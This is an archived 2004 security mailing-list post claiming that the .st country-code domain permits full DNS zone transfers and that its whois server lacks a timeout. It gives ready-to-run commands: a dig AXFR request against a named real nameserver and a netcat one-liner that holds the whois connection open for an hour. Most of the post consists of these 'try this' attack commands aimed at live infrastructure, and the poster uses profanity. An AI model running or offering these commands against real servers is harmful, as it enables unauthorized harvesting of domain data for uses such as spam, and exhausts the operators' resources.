OSEC

Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com
 
[VulnDiscuss] Re: zone transfers, a spammer's dream?

From: Troubles Troubles (troubles___hotmail.com)
Date: Sun Dec 19 2004 - 19:36:47 CST

== the fucking bugtraq moderators don't let me post this! ==

.st has this bug too. you can transfer the whole domain. their whois server
also doesn't have any time-out!

try this:

dig a.root-servers.net. st. ns
dig auth61.ns.uu.net. st. axfr
(sleep 3600; perl -e 'print "karlung-liberation-front.st\015\012";') | nc
whois.nic.st. 43

found by
troubles

_________________________________________________________________
Hitta rätt på nätet med MSN Sök http://search.msn.se/